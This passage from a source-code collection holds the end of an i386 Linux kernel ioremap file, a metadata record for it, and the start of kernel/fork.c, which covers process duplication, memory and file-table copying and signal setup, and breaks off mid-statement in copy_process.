(size - 1); for(page = virt_to_page(t_addr); page <= virt_to_page(t_end); page++) if(!PageReserved(page)) return NULL; } /* * Mappings have to be page-aligned */ offset = phys_addr & ~PAGE_MASK; phys_addr &= PAGE_MASK; size = PAGE_ALIGN(last_addr) - phys_addr; /* * Ok, go for it.. */ area = get_vm_area(size, VM_IOREMAP); if (!area) return NULL; addr = area->addr; if (remap_area_pages(VMALLOC_VMADDR(addr), phys_addr, size, flags)) { vfree(addr); return NULL; } return (void *) (offset + (char *)addr); } void iounmap(void *addr) { if (addr > high_memory) return vfree((void *) (PAGE_MASK & (unsigned long) addr)); } void __init *bt_ioremap(unsigned long phys_addr, unsigned long size) { unsigned long offset, last_addr; unsigned int nrpages; enum fixed_addresses idx; /* Don't allow wraparound or zero size */ last_addr = phys_addr + size - 1; if (!size || last_addr < phys_addr) return NULL; /* * Don't remap the low PCI/ISA area, it's always mapped.. */ if (phys_addr >= 0xA0000 && last_addr < 0x100000) return phys_to_virt(phys_addr); /* * Mappings have to be page-aligned */ offset = phys_addr & ~PAGE_MASK; phys_addr &= PAGE_MASK; size = PAGE_ALIGN(last_addr) - phys_addr; /* * Mappings have to fit in the FIX_BTMAP area. */ nrpages = size >> PAGE_SHIFT; if (nrpages > NR_FIX_BTMAPS) return NULL; /* * Ok, go for it.. */ idx = FIX_BTMAP_BEGIN; while (nrpages > 0) { set_fixmap(idx, phys_addr); phys_addr += PAGE_SIZE; --idx; --nrpages; } return (void*) (offset + fix_to_virt(FIX_BTMAP_BEGIN)); } void __init bt_iounmap(void *addr, unsigned long size) { unsigned long virt_addr; unsigned long offset; unsigned int nrpages; enum fixed_addresses idx; virt_addr = (unsigned long)addr; if (virt_addr < fix_to_virt(FIX_BTMAP_BEGIN)) return; offset = virt_addr & ~PAGE_MASK; nrpages = PAGE_ALIGN(offset + size - 1) >> PAGE_SHIFT; idx = FIX_BTMAP_BEGIN; while (nrpages > 0) { __set_fixmap(idx, 0, __pgprot(0)); --idx; --nrpages; } }
dduval/kernel-rhel3
arch/i386/mm/ioremap.c
C
gpl-2.0
5,360
/* * linux/kernel/fork.c * * Copyright (C) 1991, 1992 Linus Torvalds */ /* * 'fork.c' contains the help-routines for the 'fork' system call * (see also entry.S and others). * Fork is rather simple, once you get the hang of it, but the memory * management can be a bitch. See 'mm/memory.c': 'copy_page_range()' */ #include <linux/slab.h> #include <linux/init.h> #include <linux/unistd.h> #include <linux/module.h> #include <linux/vmalloc.h> #include <linux/completion.h> #include <linux/mnt_namespace.h> #include <linux/personality.h> #include <linux/mempolicy.h> #include <linux/sem.h> #include <linux/file.h> #include <linux/key.h> #include <linux/binfmts.h> #include <linux/mman.h> #include <linux/fs.h> #include <linux/nsproxy.h> #include <linux/capability.h> #include <linux/cpu.h> #include <linux/cpuset.h> #include <linux/security.h> #include <linux/swap.h> #include <linux/syscalls.h> #include <linux/jiffies.h> #include <linux/futex.h> #include <linux/task_io_accounting_ops.h> #include <linux/rcupdate.h> #include <linux/ptrace.h> #include <linux/mount.h> #include <linux/audit.h> #include <linux/profile.h> #include <linux/rmap.h> #include <linux/acct.h> #include <linux/tsacct_kern.h> #include <linux/cn_proc.h> #include <linux/freezer.h> #include <linux/delayacct.h> #include <linux/taskstats_kern.h> #include <linux/random.h> #include <asm/pgtable.h> #include <asm/pgalloc.h> #include <asm/uaccess.h> #include <asm/mmu_context.h> #include <asm/cacheflush.h> #include <asm/tlbflush.h> /* * Protected counters by write_lock_irq(&tasklist_lock) */ unsigned long total_forks; /* Handle normal Linux uptimes. */ int nr_threads; /* The idle threads do not count.. */ int max_threads; /* tunable limit on nr_threads */ DEFINE_PER_CPU(unsigned long, process_counts) = 0; __cacheline_aligned DEFINE_RWLOCK(tasklist_lock); /* outer */ int nr_processes(void) { int cpu; int total = 0; for_each_online_cpu(cpu) total += per_cpu(process_counts, cpu); return total; } #ifndef __HAVE_ARCH_TASK_STRUCT_ALLOCATOR # define alloc_task_struct() kmem_cache_alloc(task_struct_cachep, GFP_KERNEL) # define free_task_struct(tsk) kmem_cache_free(task_struct_cachep, (tsk)) static struct kmem_cache *task_struct_cachep; #endif /* SLAB cache for signal_struct structures (tsk->signal) */ static struct kmem_cache *signal_cachep; /* SLAB cache for sighand_struct structures (tsk->sighand) */ struct kmem_cache *sighand_cachep; /* SLAB cache for files_struct structures (tsk->files) */ struct kmem_cache *files_cachep; /* SLAB cache for fs_struct structures (tsk->fs) */ struct kmem_cache *fs_cachep; /* SLAB cache for vm_area_struct structures */ struct kmem_cache *vm_area_cachep; /* SLAB cache for mm_struct structures (tsk->mm) */ static struct kmem_cache *mm_cachep; void free_task(struct task_struct *tsk) { free_thread_info(tsk->stack); rt_mutex_debug_task_free(tsk); free_task_struct(tsk); } EXPORT_SYMBOL(free_task); void __put_task_struct(struct task_struct *tsk) { WARN_ON(!(tsk->exit_state & (EXIT_DEAD | EXIT_ZOMBIE))); WARN_ON(atomic_read(&tsk->usage)); WARN_ON(tsk == current); security_task_free(tsk); free_uid(tsk->user); put_group_info(tsk->group_info); delayacct_tsk_free(tsk); if (!profile_handoff_task(tsk)) free_task(tsk); } void __init fork_init(unsigned long mempages) { #ifndef __HAVE_ARCH_TASK_STRUCT_ALLOCATOR #ifndef ARCH_MIN_TASKALIGN #define ARCH_MIN_TASKALIGN L1_CACHE_BYTES #endif /* create a slab on which task_structs can be allocated */ task_struct_cachep = kmem_cache_create("task_struct", sizeof(struct task_struct), ARCH_MIN_TASKALIGN, SLAB_PANIC, NULL, NULL); #endif /* * The default maximum number of threads is set to a safe * value: the thread structures can take up at most half * of memory. */ max_threads = mempages / (8 * THREAD_SIZE / PAGE_SIZE); /* * we need to allow at least 20 threads to boot a system */ if(max_threads < 20) max_threads = 20; init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2; init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2; init_task.signal->rlim[RLIMIT_SIGPENDING] = init_task.signal->rlim[RLIMIT_NPROC]; } static struct task_struct *dup_task_struct(struct task_struct *orig) { struct task_struct *tsk; struct thread_info *ti; prepare_to_copy(orig); tsk = alloc_task_struct(); if (!tsk) return NULL; ti = alloc_thread_info(tsk); if (!ti) { free_task_struct(tsk); return NULL; } *tsk = *orig; tsk->stack = ti; setup_thread_stack(tsk, orig); #ifdef CONFIG_CC_STACKPROTECTOR tsk->stack_canary = get_random_int(); #endif /* One for us, one for whoever does the "release_task()" (usually parent) */ atomic_set(&tsk->usage,2); atomic_set(&tsk->fs_excl, 0); #ifdef CONFIG_BLK_DEV_IO_TRACE tsk->btrace_seq = 0; #endif tsk->splice_pipe = NULL; return tsk; } #ifdef CONFIG_MMU static inline int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm) { struct vm_area_struct *mpnt, *tmp, **pprev; struct rb_node **rb_link, *rb_parent; int retval; unsigned long charge; struct mempolicy *pol; down_write(&oldmm->mmap_sem); flush_cache_dup_mm(oldmm); /* * Not linked in yet - no deadlock potential: */ down_write_nested(&mm->mmap_sem, SINGLE_DEPTH_NESTING); mm->locked_vm = 0; mm->mmap = NULL; mm->mmap_cache = NULL; mm->free_area_cache = oldmm->mmap_base; mm->cached_hole_size = ~0UL; mm->map_count = 0; cpus_clear(mm->cpu_vm_mask); mm->mm_rb = RB_ROOT; rb_link = &mm->mm_rb.rb_node; rb_parent = NULL; pprev = &mm->mmap; for (mpnt = oldmm->mmap; mpnt; mpnt = mpnt->vm_next) { struct file *file; if (mpnt->vm_flags & VM_DONTCOPY) { long pages = vma_pages(mpnt); mm->total_vm -= pages; vm_stat_account(mm, mpnt->vm_flags, mpnt->vm_file, -pages); continue; } charge = 0; if (mpnt->vm_flags & VM_ACCOUNT) { unsigned int len = (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT; if (security_vm_enough_memory(len)) goto fail_nomem; charge = len; } tmp = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL); if (!tmp) goto fail_nomem; *tmp = *mpnt; pol = mpol_copy(vma_policy(mpnt)); retval = PTR_ERR(pol); if (IS_ERR(pol)) goto fail_nomem_policy; vma_set_policy(tmp, pol); tmp->vm_flags &= ~VM_LOCKED; tmp->vm_mm = mm; tmp->vm_next = NULL; anon_vma_link(tmp); file = tmp->vm_file; if (file) { struct inode *inode = file->f_path.dentry->d_inode; get_file(file); if (tmp->vm_flags & VM_DENYWRITE) atomic_dec(&inode->i_writecount); /* insert tmp into the share list, just after mpnt */ spin_lock(&file->f_mapping->i_mmap_lock); tmp->vm_truncate_count = mpnt->vm_truncate_count; flush_dcache_mmap_lock(file->f_mapping); vma_prio_tree_add(tmp, mpnt); flush_dcache_mmap_unlock(file->f_mapping); spin_unlock(&file->f_mapping->i_mmap_lock); } /* * Link in the new vma and copy the page table entries. */ *pprev = tmp; pprev = &tmp->vm_next; __vma_link_rb(mm, tmp, rb_link, rb_parent); rb_link = &tmp->vm_rb.rb_right; rb_parent = &tmp->vm_rb; mm->map_count++; retval = copy_page_range(mm, oldmm, mpnt); if (tmp->vm_ops && tmp->vm_ops->open) tmp->vm_ops->open(tmp); if (retval) goto out; } /* a new mm has just been created */ arch_dup_mmap(oldmm, mm); retval = 0; out: up_write(&mm->mmap_sem); flush_tlb_mm(oldmm); up_write(&oldmm->mmap_sem); return retval; fail_nomem_policy: kmem_cache_free(vm_area_cachep, tmp); fail_nomem: retval = -ENOMEM; vm_unacct_memory(charge); goto out; } static inline int mm_alloc_pgd(struct mm_struct * mm) { mm->pgd = pgd_alloc(mm); if (unlikely(!mm->pgd)) return -ENOMEM; return 0; } static inline void mm_free_pgd(struct mm_struct * mm) { pgd_free(mm->pgd); } #else #define dup_mmap(mm, oldmm) (0) #define mm_alloc_pgd(mm) (0) #define mm_free_pgd(mm) #endif /* CONFIG_MMU */ __cacheline_aligned_in_smp DEFINE_SPINLOCK(mmlist_lock); #define allocate_mm() (kmem_cache_alloc(mm_cachep, GFP_KERNEL)) #define free_mm(mm) (kmem_cache_free(mm_cachep, (mm))) #include <linux/init_task.h> static struct mm_struct * mm_init(struct mm_struct * mm) { atomic_set(&mm->mm_users, 1); atomic_set(&mm->mm_count, 1); init_rwsem(&mm->mmap_sem); INIT_LIST_HEAD(&mm->mmlist); mm->core_waiters = 0; mm->nr_ptes = 0; set_mm_counter(mm, file_rss, 0); set_mm_counter(mm, anon_rss, 0); spin_lock_init(&mm->page_table_lock); rwlock_init(&mm->ioctx_list_lock); mm->ioctx_list = NULL; mm->free_area_cache = TASK_UNMAPPED_BASE; mm->cached_hole_size = ~0UL; if (likely(!mm_alloc_pgd(mm))) { mm->def_flags = 0; return mm; } free_mm(mm); return NULL; } /* * Allocate and initialize an mm_struct. */ struct mm_struct * mm_alloc(void) { struct mm_struct * mm; mm = allocate_mm(); if (mm) { memset(mm, 0, sizeof(*mm)); mm = mm_init(mm); } return mm; } /* * Called when the last reference to the mm * is dropped: either by a lazy thread or by * mmput. Free the page directory and the mm. */ void fastcall __mmdrop(struct mm_struct *mm) { BUG_ON(mm == &init_mm); mm_free_pgd(mm); destroy_context(mm); free_mm(mm); } /* * Decrement the use count and release all resources for an mm. */ void mmput(struct mm_struct *mm) { might_sleep(); if (atomic_dec_and_test(&mm->mm_users)) { exit_aio(mm); exit_mmap(mm); if (!list_empty(&mm->mmlist)) { spin_lock(&mmlist_lock); list_del(&mm->mmlist); spin_unlock(&mmlist_lock); } put_swap_token(mm); mmdrop(mm); } } EXPORT_SYMBOL_GPL(mmput); /** * get_task_mm - acquire a reference to the task's mm * * Returns %NULL if the task has no mm. Checks PF_BORROWED_MM (meaning * this kernel workthread has transiently adopted a user mm with use_mm, * to do its AIO) is not set and if so returns a reference to it, after * bumping up the use count. User must release the mm via mmput() * after use. Typically used by /proc and ptrace. */ struct mm_struct *get_task_mm(struct task_struct *task) { struct mm_struct *mm; task_lock(task); mm = task->mm; if (mm) { if (task->flags & PF_BORROWED_MM) mm = NULL; else atomic_inc(&mm->mm_users); } task_unlock(task); return mm; } EXPORT_SYMBOL_GPL(get_task_mm); /* Please note the differences between mmput and mm_release. * mmput is called whenever we stop holding onto a mm_struct, * error success whatever. * * mm_release is called after a mm_struct has been removed * from the current process. * * This difference is important for error handling, when we * only half set up a mm_struct for a new process and need to restore * the old one. Because we mmput the new mm_struct before * restoring the old one. . . * Eric Biederman 10 January 1998 */ void mm_release(struct task_struct *tsk, struct mm_struct *mm) { struct completion *vfork_done = tsk->vfork_done; /* Get rid of any cached register state */ deactivate_mm(tsk, mm); /* notify parent sleeping on vfork() */ if (vfork_done) { tsk->vfork_done = NULL; complete(vfork_done); } /* * If we're exiting normally, clear a user-space tid field if * requested. We leave this alone when dying by signal, to leave * the value intact in a core dump, and to save the unnecessary * trouble otherwise. Userland only wants this done for a sys_exit. */ if (tsk->clear_child_tid && !(tsk->flags & PF_SIGNALED) && atomic_read(&mm->mm_users) > 1) { u32 __user * tidptr = tsk->clear_child_tid; tsk->clear_child_tid = NULL; /* * We don't check the error code - if userspace has * not set up a proper pointer then tough luck. */ put_user(0, tidptr); sys_futex(tidptr, FUTEX_WAKE, 1, NULL, NULL, 0); } } /* * Allocate a new mm structure and copy contents from the * mm structure of the passed in task structure. */ static struct mm_struct *dup_mm(struct task_struct *tsk) { struct mm_struct *mm, *oldmm = current->mm; int err; if (!oldmm) return NULL; mm = allocate_mm(); if (!mm) goto fail_nomem; memcpy(mm, oldmm, sizeof(*mm)); /* Initializing for Swap token stuff */ mm->token_priority = 0; mm->last_interval = 0; if (!mm_init(mm)) goto fail_nomem; if (init_new_context(tsk, mm)) goto fail_nocontext; err = dup_mmap(mm, oldmm); if (err) goto free_pt; mm->hiwater_rss = get_mm_rss(mm); mm->hiwater_vm = mm->total_vm; return mm; free_pt: mmput(mm); fail_nomem: return NULL; fail_nocontext: /* * If init_new_context() failed, we cannot use mmput() to free the mm * because it calls destroy_context() */ mm_free_pgd(mm); free_mm(mm); return NULL; } static int copy_mm(unsigned long clone_flags, struct task_struct * tsk) { struct mm_struct * mm, *oldmm; int retval; tsk->min_flt = tsk->maj_flt = 0; tsk->nvcsw = tsk->nivcsw = 0; tsk->mm = NULL; tsk->active_mm = NULL; /* * Are we cloning a kernel thread? * * We need to steal a active VM for that.. */ oldmm = current->mm; if (!oldmm) return 0; if (clone_flags & CLONE_VM) { atomic_inc(&oldmm->mm_users); mm = oldmm; goto good_mm; } retval = -ENOMEM; mm = dup_mm(tsk); if (!mm) goto fail_nomem; good_mm: /* Initializing for Swap token stuff */ mm->token_priority = 0; mm->last_interval = 0; tsk->mm = mm; tsk->active_mm = mm; return 0; fail_nomem: return retval; } static inline struct fs_struct *__copy_fs_struct(struct fs_struct *old) { struct fs_struct *fs = kmem_cache_alloc(fs_cachep, GFP_KERNEL); /* We don't need to lock fs - think why ;-) */ if (fs) { atomic_set(&fs->count, 1); rwlock_init(&fs->lock); fs->umask = old->umask; read_lock(&old->lock); fs->rootmnt = mntget(old->rootmnt); fs->root = dget(old->root); fs->pwdmnt = mntget(old->pwdmnt); fs->pwd = dget(old->pwd); if (old->altroot) { fs->altrootmnt = mntget(old->altrootmnt); fs->altroot = dget(old->altroot); } else { fs->altrootmnt = NULL; fs->altroot = NULL; } read_unlock(&old->lock); } return fs; } struct fs_struct *copy_fs_struct(struct fs_struct *old) { return __copy_fs_struct(old); } EXPORT_SYMBOL_GPL(copy_fs_struct); static inline int copy_fs(unsigned long clone_flags, struct task_struct * tsk) { if (clone_flags & CLONE_FS) { atomic_inc(&current->fs->count); return 0; } tsk->fs = __copy_fs_struct(current->fs); if (!tsk->fs) return -ENOMEM; return 0; } static int count_open_files(struct fdtable *fdt) { int size = fdt->max_fds; int i; /* Find the last open fd */ for (i = size/(8*sizeof(long)); i > 0; ) { if (fdt->open_fds->fds_bits[--i]) break; } i = (i+1) * 8 * sizeof(long); return i; } static struct files_struct *alloc_files(void) { struct files_struct *newf; struct fdtable *fdt; newf = kmem_cache_alloc(files_cachep, GFP_KERNEL); if (!newf) goto out; atomic_set(&newf->count, 1); spin_lock_init(&newf->file_lock); newf->next_fd = 0; fdt = &newf->fdtab; fdt->max_fds = NR_OPEN_DEFAULT; fdt->close_on_exec = (fd_set *)&newf->close_on_exec_init; fdt->open_fds = (fd_set *)&newf->open_fds_init; fdt->fd = &newf->fd_array[0]; INIT_RCU_HEAD(&fdt->rcu); fdt->next = NULL; rcu_assign_pointer(newf->fdt, fdt); out: return newf; } /* * Allocate a new files structure and copy contents from the * passed in files structure. * errorp will be valid only when the returned files_struct is NULL. */ static struct files_struct *dup_fd(struct files_struct *oldf, int *errorp) { struct files_struct *newf; struct file **old_fds, **new_fds; int open_files, size, i; struct fdtable *old_fdt, *new_fdt; *errorp = -ENOMEM; newf = alloc_files(); if (!newf) goto out; spin_lock(&oldf->file_lock); old_fdt = files_fdtable(oldf); new_fdt = files_fdtable(newf); open_files = count_open_files(old_fdt); /* * Check whether we need to allocate a larger fd array and fd set. * Note: we're not a clone task, so the open count won't change. */ if (open_files > new_fdt->max_fds) { new_fdt->max_fds = 0; spin_unlock(&oldf->file_lock); spin_lock(&newf->file_lock); *errorp = expand_files(newf, open_files-1); spin_unlock(&newf->file_lock); if (*errorp < 0) goto out_release; new_fdt = files_fdtable(newf); /* * Reacquire the oldf lock and a pointer to its fd table * who knows it may have a new bigger fd table. We need * the latest pointer. */ spin_lock(&oldf->file_lock); old_fdt = files_fdtable(oldf); } old_fds = old_fdt->fd; new_fds = new_fdt->fd; memcpy(new_fdt->open_fds->fds_bits, old_fdt->open_fds->fds_bits, open_files/8); memcpy(new_fdt->close_on_exec->fds_bits, old_fdt->close_on_exec->fds_bits, open_files/8); for (i = open_files; i != 0; i--) { struct file *f = *old_fds++; if (f) { get_file(f); } else { /* * The fd may be claimed in the fd bitmap but not yet * instantiated in the files array if a sibling thread * is partway through open(). So make sure that this * fd is available to the new process. */ FD_CLR(open_files - i, new_fdt->open_fds); } rcu_assign_pointer(*new_fds++, f); } spin_unlock(&oldf->file_lock); /* compute the remainder to be cleared */ size = (new_fdt->max_fds - open_files) * sizeof(struct file *); /* This is long word aligned thus could use a optimized version */ memset(new_fds, 0, size); if (new_fdt->max_fds > open_files) { int left = (new_fdt->max_fds-open_files)/8; int start = open_files / (8 * sizeof(unsigned long)); memset(&new_fdt->open_fds->fds_bits[start], 0, left); memset(&new_fdt->close_on_exec->fds_bits[start], 0, left); } return newf; out_release: kmem_cache_free(files_cachep, newf); out: return NULL; } static int copy_files(unsigned long clone_flags, struct task_struct * tsk) { struct files_struct *oldf, *newf; int error = 0; /* * A background process may not have any files ... */ oldf = current->files; if (!oldf) goto out; if (clone_flags & CLONE_FILES) { atomic_inc(&oldf->count); goto out; } /* * Note: we may be using current for both targets (See exec.c) * This works because we cache current->files (old) as oldf. Don't * break this. */ tsk->files = NULL; newf = dup_fd(oldf, &error); if (!newf) goto out; tsk->files = newf; error = 0; out: return error; } /* * Helper to unshare the files of the current task. * We don't want to expose copy_files internals to * the exec layer of the kernel. */ int unshare_files(void) { struct files_struct *files = current->files; int rc; BUG_ON(!files); /* This can race but the race causes us to copy when we don't need to and drop the copy */ if(atomic_read(&files->count) == 1) { atomic_inc(&files->count); return 0; } rc = copy_files(0, current); if(rc) current->files = files; return rc; } EXPORT_SYMBOL(unshare_files); static inline int copy_sighand(unsigned long clone_flags, struct task_struct * tsk) { struct sighand_struct *sig; if (clone_flags & (CLONE_SIGHAND | CLONE_THREAD)) { atomic_inc(&current->sighand->count); return 0; } sig = kmem_cache_alloc(sighand_cachep, GFP_KERNEL); rcu_assign_pointer(tsk->sighand, sig); if (!sig) return -ENOMEM; atomic_set(&sig->count, 1); memcpy(sig->action, current->sighand->action, sizeof(sig->action)); return 0; } void __cleanup_sighand(struct sighand_struct *sighand) { if (atomic_dec_and_test(&sighand->count)) kmem_cache_free(sighand_cachep, sighand); } static inline int copy_signal(unsigned long clone_flags, struct task_struct * tsk) { struct signal_struct *sig; int ret; if (clone_flags & CLONE_THREAD) { atomic_inc(&current->signal->count); atomic_inc(&current->signal->live); return 0; } sig = kmem_cache_alloc(signal_cachep, GFP_KERNEL); tsk->signal = sig; if (!sig) return -ENOMEM; ret = copy_thread_group_keys(tsk); if (ret < 0) { kmem_cache_free(signal_cachep, sig); return ret; } atomic_set(&sig->count, 1); atomic_set(&sig->live, 1); init_waitqueue_head(&sig->wait_chldexit); sig->flags = 0; sig->group_exit_code = 0; sig->group_exit_task = NULL; sig->group_stop_count = 0; sig->curr_target = NULL; init_sigpending(&sig->shared_pending); INIT_LIST_HEAD(&sig->posix_timers); hrtimer_init(&sig->real_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL); sig->it_real_incr.tv64 = 0; sig->real_timer.function = it_real_fn; sig->tsk = tsk; sig->it_virt_expires = cputime_zero; sig->it_virt_incr = cputime_zero; sig->it_prof_expires = cputime_zero; sig->it_prof_incr = cputime_zero; sig->leader = 0; /* session leadership doesn't inherit */ sig->tty_old_pgrp = NULL; sig->utime = sig->stime = sig->cutime = sig->cstime = cputime_zero; sig->nvcsw = sig->nivcsw = sig->cnvcsw = sig->cnivcsw = 0; sig->min_flt = sig->maj_flt = sig->cmin_flt = sig->cmaj_flt = 0; sig->inblock = sig->oublock = sig->cinblock = sig->coublock = 0; sig->sched_time = 0; INIT_LIST_HEAD(&sig->cpu_timers[0]); INIT_LIST_HEAD(&sig->cpu_timers[1]); INIT_LIST_HEAD(&sig->cpu_timers[2]); taskstats_tgid_init(sig); task_lock(current->group_leader); memcpy(sig->rlim, current->signal->rlim, sizeof sig->rlim); task_unlock(current->group_leader); if (sig->rlim[RLIMIT_CPU].rlim_cur != RLIM_INFINITY) { /* * New sole thread in the process gets an expiry time * of the whole CPU time limit. */ tsk->it_prof_expires = secs_to_cputime(sig->rlim[RLIMIT_CPU].rlim_cur); } acct_init_pacct(&sig->pacct); return 0; } void __cleanup_signal(struct signal_struct *sig) { exit_thread_group_keys(sig); kmem_cache_free(signal_cachep, sig); } static inline void cleanup_signal(struct task_struct *tsk) { struct signal_struct *sig = tsk->signal; atomic_dec(&sig->live); if (atomic_dec_and_test(&sig->count)) __cleanup_signal(sig); } static inline void copy_flags(unsigned long clone_flags, struct task_struct *p) { unsigned long new_flags = p->flags; new_flags &= ~(PF_SUPERPRIV | PF_NOFREEZE); new_flags |= PF_FORKNOEXEC; if (!(clone_flags & CLONE_PTRACE)) p->ptrace = 0; p->flags = new_flags; } asmlinkage long sys_set_tid_address(int __user *tidptr) { current->clear_child_tid = tidptr; return current->pid; } static inline void rt_mutex_init_task(struct task_struct *p) { spin_lock_init(&p->pi_lock); #ifdef CONFIG_RT_MUTEXES plist_head_init(&p->pi_waiters, &p->pi_lock); p->pi_blocked_on = NULL; #endif } /* * This creates a new process as a copy of the old one, * but does not actually start it yet. * * It copies the registers, and all the appropriate * parts of the process environment (as per the clone * flags). The actual kick-off is left to the caller. */ static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr, struct pid *pid) { int retval; struct task_struct *p = NULL; if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS)) return ERR_PTR(-EINVAL); /* * Thread groups must share signals as well, and detached threads * can only be started up within the thread group. */ if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND)) return ERR_PTR(-EINVAL); /* * Shared signal handlers imply shared VM. By way of the above, * thread groups also imply shared VM. Blocking this case allows * for various simplifications in other code. */ if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM)) return ERR_PTR(-EINVAL); retval = security_task_create(clone_flags); if (retval) goto fork_out; retval = -ENOMEM; p = dup_task_struct(current); if (!p) goto fork_out; rt_mutex_init_task(p); #ifdef CONFIG_TRACE_IRQFLAGS DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled); DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled); #endif retval = -EAGAIN; if (atomic_read(&p->user->processes) >= p->signal->rlim[RLIMIT_NPROC].rlim_cur) { if (!capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE) && p->user != &root_user) goto bad_fork_free; } atomic_inc(&p->user->__count); atomic_inc(&p->user->processes); get_group_info(p->group_info); /* * If multiple threads are within copy_process(), then this check * triggers too late. This doesn't hurt, the check is only there * to stop root fork bombs. */ if (nr_threads >= max_threads) goto bad_fork_cleanup_count; if (!try_module_get(task_thread_info(p)->exec_domain->module)) goto bad_fork_cleanup_count; if (p->binfmt && !try_module_get(p->binfmt->module)) goto bad_fork_cleanup_put_domain; p->did_exec = 0; delayacct_tsk_init(p); /* Must remain after dup_task_struct() */ copy_flags(clone_flags, p); p->pid = pid_nr(pid); retval = -EFAULT; if (clone_flags & CLONE_PARENT_SETTID) if (put_user(p->pid, parent_tidptr)) goto bad_fork_cleanup_delays_binfmt; INIT_LIST_HEAD(&p->children); INIT_LIST_HEAD(&p->sibling); p->vfork_done = NULL; spin_lock_init(&p->alloc_lock); clear_tsk_thread_flag(p, TIF_SIGPENDING); init_sigpending(&p->pending); p->utime = cputime_zero; p->stime = cputime_zero; p->sched_time = 0; #ifdef CONFIG_TASK_XACCT p->rchar = 0; /* I/O counter: bytes read */ p->wchar = 0; /* I/O counter: bytes written */ p->syscr = 0; /* I/O counter: read syscalls */ p->syscw = 0; /* I/O counter: write syscalls */ #endif task_io_accounting_init(p); acct_clear_integrals(p); p->it_virt_expires = cputime_zero; p->it_prof_expires = cputime_zero; p->it_sched_expires = 0; INIT_LIST_HEAD(&p->cpu_timers[0]); INIT_LIST_HEAD(&p->cpu_timers[1]); INIT_LIST_HEAD(&p->cpu_timers[2]); p->lock_depth = -1; /* -1 = no lock */ do_posix_clock_monotonic_gettime(&p->start_time); p->security = NULL; p->io_context = NULL; p->io_wait = NULL; p->audit_context = NULL; cpuset_fork(p); #ifdef CONFIG_NUMA p->mempolicy = mpol_copy(p->mempolicy); if (IS_ERR(p->mempolicy)) { retval = PTR_ERR(p->mempolicy); p->mempolicy = NULL; goto bad_fork_cleanup_cpuset; } mpol_fix_fork_child_flag(p); #endif #ifdef CONFIG_TRACE_IRQFLAGS p->irq_events = 0; #ifdef __ARCH_WANT_INTERRUPTS_ON_CTXSW p->hardirqs_enabled = 1; #else p->hardirqs_enabled = 0; #endif p->hardirq_enable_ip = 0; p->hardirq_enable_event = 0; p->hardirq_disable_ip = _THIS_IP_; p->hardirq_disable_event = 0; p->softirqs_enabled = 1; p->softirq_enable_ip = _THIS_IP_; p->softirq_enable_event = 0; p->softirq_disable_ip = 0; p->softirq_disable_event = 0; p->hardirq_context = 0; p->softirq_context = 0; #endif #ifdef CONFIG_LOCKDEP p->lockdep_depth = 0; /* no locks held yet */ p->curr_chain_key = 0; p->lockdep_recursion = 0; #endif #ifdef CONFIG_DEBUG_MUTEXES p->blocked_on = NULL; /* not blocked yet */ #endif p->tgid = p->pid; if (clone_flags & CLONE_THREAD) p->tgid = current->tgid; if ((retval = security_task_alloc(p))) goto bad_fork_cleanup_policy; if ((retval = audit_alloc(p))) goto bad_fork_cleanup_security; /* copy all the process information */ if ((retval = copy_semundo(clone_flags, p))) goto bad_fork_cleanup_audit; if ((retval = copy_files(clone_flags, p))) goto bad_fork_cleanup_semundo; if ((retval = copy_fs(clone_flags, p))) goto bad_fork_cleanup_files; if ((retval = copy_sighand(clone_flags, p))) goto bad_fork_cleanup_fs; if ((retval = copy_signal(clone_flags, p))) goto bad_fork_cleanup_sighand; if ((retval = copy_mm(clone_flags, p))) goto bad_fork_cleanup_signal; if ((retval = copy_keys(clone_flags, p))) goto bad_fork_cleanup_mm; if ((retval = copy_namespaces(clone_flags, p))) goto bad_fork_cleanup_keys; retval = copy_thread(0, clone_flags, stack_start, stack_size, p, regs); if (retval) goto bad_fork_cleanup_namespaces; p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL; /* * Clear TID on mm_release()? */ p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL; p->robust_list = NULL; #ifdef CONFIG_COMPAT p->compat_robust_list = NULL; #endif INIT_LIST_HEAD(&p->pi_state_list); p->pi_state_cache = NULL; /* * sigaltstack should be cleared when sharing the same VM */ if ((clone_flags & (CLONE_VM|CLONE_VFORK)) == CLONE_VM) p->sas_ss_sp = p->sas_ss_size = 0; /* * Syscall tracing should be turned off in the child regardless * of CLONE_PTRACE. */ clear_tsk_thread_flag(p, TIF_SYSCALL_TRACE); #ifdef TIF_SYSCALL_EMU clear_tsk_thread_flag(p, TIF_SYSCALL_EMU); #endif /* Our parent execution domain becomes current domain These must match for thread signalling to apply */ p->parent_exec_id = p->self_exec_id; /* ok, now we should be set up.. */ p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL); p->pdeath_signal = 0; p->exit_state = 0; /* * Ok, make it visible to the rest of the system. * We dont wake it up yet. */ p->group_leader = p; INIT_LIST_HEAD(&p->thread_group); INIT_LIST_HEAD(&p->ptrace_children); INIT_LIST_HEAD(&p->ptrace_list); /* Perform scheduler related setup. Assign this task to a CPU. */ sched_fork(p, clone_flags); /* Need tasklist lock for parent etc handling! */ write_lock_irq(&tasklist_lock); /* for sys_ioprio_set(IOPRIO_WHO_PGRP) */ p->ioprio = current->ioprio; /* * The task hasn't been attached yet, so its cpus_allowed mask will * not be changed, nor will its assigned CPU. * * The cpus_allowed mask of the parent may have changed after it was * copied first time - so re-copy it here, then check the child's CPU * to ensure it is on a valid CPU (and if not, just force it back to * parent's CPU). This avoids alot of nasty races. */ p->cpus_allowed = current->cpus_allowed; if (unlikely(!cpu_isset(task_cpu(p), 